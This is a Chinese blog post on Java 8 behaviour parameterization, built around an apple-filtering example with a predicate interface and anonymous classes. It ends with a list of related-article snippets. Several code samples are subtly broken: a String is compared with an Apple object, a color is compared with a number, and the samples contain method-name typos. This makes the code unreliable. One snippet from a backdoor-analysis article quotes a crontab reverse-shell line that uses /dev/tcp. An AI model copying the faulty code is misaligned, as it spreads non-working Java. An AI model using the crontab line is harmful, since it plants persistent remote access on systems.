Java 8 - 行为参数化
前言:
以下内容来源于java8实战一书,我将里面学习的内容做一个整理,方便忙碌的小伙伴快速入门实战java8
正文:
假设一个果农收获了一园的苹果,他需要你根据他的条件筛选出满意的苹果
首先我们新建一个Apple类
public class Apple {
/**
* 重量
*/
private Integer weight;
/**
* 颜色
*/
private String color;
getter();
setter();
toString();
...
}
他说:我需要挑出红苹果
public void filterRedApple(List<Apple> appleList){
for(Apple apple : appleList){
if("red".equals(apple)){
System.out.println("红苹果");
}
}
}
他说:我要挑出绿苹果
转念一想,把颜色作为参数吧
public void filterGreenApple(List<Apple> appleList , String color) {
for (Apple apple : appleList) {
if (color.equals(apple)) {
System.out.println("绿苹果");
}
}
}
他说:我需要挑出150g的苹果
public void filterWeightApple(List<Apple> appleList,Integer weight) {
for (Apple apple : appleList) {
if (apple.getWeight() > weight) {
System.out.println("重量大于150g的苹果");
}
}
}
他说:我要挑出100g以上的红苹果
public void filterAppleByWeightAndColor(List<Apple> appleList,String color,Integer weight){
for (Apple apple : appleList) {
if (apple.getWeight() > weight && color.equals(apple.getColor())) {
System.out.println("重量大于100g的红苹果");
}
}
}
面对无止境的需求变化,我们需要不断的适应
让我们来看看如何改进
新建一个苹果筛选接口
public interface ApplePredicate {
/**
* 筛选苹果
*/
boolean test(Apple apple);
}
然后我们分别实现筛选方法
根据颜色筛选
public class FilterRedApple implements ApplePredicate {
@Override
public boolean test(Apple apple) {
return "red".equals(apple.getColor()) ? true : false;
}
}
根据重量筛选
public class FilterWeightApple implements ApplePredicate {
@Override
public boolean test(Apple apple) {
return apple.getColor() > 100 ? true : false;
}
}
根据颜色和重量筛选
public class FilterAppleByColorAndWeight implements ApplePredicate {
@Override
public boolean test(Apple apple) {
return "red".equals(apple.getColor()) && apple.getWeight > 100 ? true : false;
}
}
比如他想要红苹果
我们这样来给他实现
public static void filterApple(List<Apple> appleList , ApplePredicate p) {
for (Apple apple : appleList) {
if (p.test(apple)) {
System.out.println("这是你要的苹果" + apple.toString());
}
}
}
我们调用的时候,传入它的实现类就行了
public static void main(String[] args) {
filterApple(appleList, new FilterRedApple());
filterApple(appleList, new FilterWeightApple());
}
我们来看看现在的方法和原先的方法的区别:
原先的方法是每提出一个需求我们就新写一个方法来实现它,这样代码会显得非常臃肿冗余,因为他们其实是做的同一件事:筛选想要的苹果,仅仅只是条件不同
我们改进后的方法是:写一个筛选接口,然后分别实现这个接口,比如你想要红苹果就写个晒选红苹果的实现,想要大的苹果就再写一个新的实现
这看起来有点像策略模式
好的。我们已经完成了一件非常酷的事:fliterApple方法的行为取决于我们通过ApplePredicate对象传递的代码,这个就是行为参数化,它可以帮助我们编写灵活的API
现在,可能有同学会问我,每次新的需求都写一个新的实现类,会不会太麻烦了,我们可以用匿名类来实现啊
确实,我们可以用匿名类来实现
public static void main(String[] args) {
filterApple(appleList, new ApplePredicate() {
@Override
public boolean test(Apple apple) {
return "red".equal(apple.getColor) ? true : false;
}
});
}
虽然匿名类在一定程度上改善了为一个接口写好几个实现类的啰嗦问题,但它还是要创建一个对象明确的实现新的方法来定义一个新的行为
所以,相较之下我更倾向于使用行为参数化的形式
概念:
行为参数化:一个方法接受多个不同的行为作为参数,并在内部使用他们,完成不同行为的能力
行为参数化可以让代码更好的适应不断变化的需求,减轻未来的工作量
传递代码:将新行为作为参数传递给方法
Java 8 - 行为参数化的更多相关文章
- Java通过行为参数化传递代码
在软件工程中,一个众所周知的问题就是,不管做什么,用户的需求肯定会变.如何应对这样不断变化的需求?理想的状态下,应该把的工作量降到最少.此外,类似的新功能实现起来还应该很简单,而且易于长期维护.行为参 ...
- java 字符串中参数化符号${}的解析
我们在很多地方都能看到代表参数意义的符号${},可能我们在写一些框架的时候,有时候也需要用到这个符号,但他们是如何精确解析的?或者说需要我们自已写的时候,如何写?我们先来看以下的几个场景: 1.字符串 ...
- Java+Selenium 如何参数化验证Table表格数据
场景: 当我们编写脚本时候,需要验证某个表格某一列数据,或者多个列数据. 如果每验证一个就写一个方法,实在是太费事, 因此我们需要有参数化的思想,把某列数据看成固定的元素,然后去验证即可. 1. 示例 ...
- Thinking in Java 学习笔记(一)
chapter_01 对象导论 1.1 Java语言基础Smalltalk的特性: 万物皆对象 可以将对象视为一种奇特的变量,它可以存储数据(成员变量),也可以在自身上执行操作(方法). 程序对象 ...
- Wmyskxz文章目录导航附Java精品学习资料
前言:这段时间一直在准备校招的东西,所以一晃眼都好长时间没更新了,这段时间准备的稍微好那么一点点,还是觉得准备归准备,该有的学习节奏还是要有..趁着复习的空隙来整理整理自己写过的文章吧..好多加了微信 ...
- 【译】9. Java反射——泛型
原文地址:http://tutorials.jenkov.com/java-reflection/generics.html ===================================== ...
- Jmeter JAVA请求入门
一.Jmeter完成一个java请求实现方法 两种实现方式: 实现JavaSamplerClient接口 继承AbstractJavaSamplerClient抽象类 二.使用AbstractJava ...
- (私人收藏)[开发必备]最全Java离线快速查找手册(可查询可学习,带实例)
(私人收藏)[开发必备]最全Java离线快速查找手册(可查询可学习,带实例) https://pan.baidu.com/s/1L54VuFwCdKVnQGVc8vD1TQnwmj java手册 Ja ...
- Jenkins之前置替换脚本内容
在执行Jenkins任务前,需要修改执行的工程的某个文件中的内容,在前置步骤中编写脚本进行修改. Pre Steps Windows batch script @echo off CHCP setlo ...
随机推荐
- RMAN备份归档日志ORA-19575
RMAN备份归档日志ORA-19575 一.问题描述 1)环境oracle 10g; 2)报错现象RMAN进行备份归档报错失败ORA-19575 二.问题处理 1)根据客户说明的现象,百度了一波(详见 ...
- MongoDB 学习笔记之 GridFS
GridFS: GridFS 是 MongoDB 的一个用来存储/获取大型数据(图像.音频.视频等类型的文件)的规范.它相当于一个存储文件的文件系统,但它的数据存储在 MongoDB 的集合中.Gri ...
- vue项目引入bootstrap正确姿势
vue如何引入bootstrap 最近在玩全栈,自然少不了vue的使用.使用vue-cli生成的项目想引入bootstrap,需要先安装相应的npm包,然后在代码中显示引入. 1.安装依赖包: cnp ...
- MRP进程起不来, 报错:ORA-00600: internal error code, arguments: [2619], [227424], [], [], [], [], [], [], [], [], [], []
问题背景:客户数据库服务架构为一主一备,某日备库操作系统意外重启,重启后Oracle MRP进程起不来,报错:ORA-00600: internal error code, arguments: [2 ...
- python编程基础之十七
字符串:str1 = '123' str2 ="123" str3 = """123""" str4 = '''123' ...
- python requests-toolbelt 生成上传multipart/form-data格式数据
需求背景 想使用requests做一个自动上传的功能,发现这里问题挺多的,就记录一下. 如上图上传功能,一般分为input标签,非input标签.我这里也不管什么标签,直接抓包看数据流. Conten ...
- C#输入中文实现转拼音首字母(亲测,字库不全)
public string GetPYString(string str) { string tempStr = ""; foreach (char c in str) { if ...
- crontab一句话后门分析
正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...
- [Noip2007] 字符串的展开
题目描述 在初赛普及组的“阅读程序写结果”的问题中,我们曾给出一个字符串展开的例子:如果在输入的字符串中,含有类似于“d-h”或者“4-8”的字串,我们就把它当作一种简写,输出时,用连续递增的字母或数 ...
- Cocos2d-x 学习笔记(11.7) Repeat RepeatForever
1. 成员变量 Repeat: unsigned int _times; //create参数 unsigned int _total; //执行的次数 float _nextDt; //startW ...